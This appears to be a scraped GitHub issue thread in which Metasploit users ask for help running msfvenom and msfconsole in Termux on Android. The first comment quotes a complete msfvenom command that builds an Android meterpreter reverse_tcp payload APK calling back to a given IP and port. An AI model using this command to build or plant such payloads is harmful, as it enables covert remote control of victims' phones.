On Fri, Aug 14, 2020, 22:15 vivekbhuva @.*> wrote: $ msfvenom -p android/meterpreter/reverse_tcp lhost=25.139.250.169 lport=4444 R > payload.apk Traceback (most recent call last): ruby: No such file or directory -- /data/data/com.termux/files/usr/opt/metasploit-framework/msfvenom (LoadError) How to solve thia error?? Please help bro.. — You are receiving this because you commented. Reply to this email directly, view it on GitHub <#8765 (comment)>, or unsubscribe https://github.com/notifications/unsubscribe-auth/ANHHUL7X36PLZ7E7YBMPRGDSAVBJVANCNFSM4DUK42SA .

Solve ho gya ab

I am also having problem with msfconsole in termux this is what is displaying anytime I opened it
msfconsole: command not found
#

bash: msfconsole: command not found
Help

Do I need to root my phone that does not support root

What should I do because my termux is displaying msf console : command not found

I did not understand you what you mean by wearing a hat. I just want help
to unlock the root on my phone, please answer. I cannot run tools such as
the app and manage the Wi-Fi

في الأحد، ٢٧ سبتمبر، ٢٠٢٠ ٦،٤٩ م yemite-ui notifications@github.com كتب:

What should I do because my termux is displaying msf console : command not
found


You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/rapid7/metasploit-framework/issues/8765#issuecomment-699651945,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AQZHVLFUZJ46P5WYOUGVBMLSH5NI5ANCNFSM4DUK42SA
.

Was this page helpful?
0 / 5 - 0 ratings

Related issues

jecoliho picture jecoliho  ·  3Comments

bugshere picture bugshere  ·  3Comments

Sonya2010 picture Sonya2010  ·  3Comments

BaconBombz picture BaconBombz  ·  3Comments

Acidical picture Acidical  ·  3Comments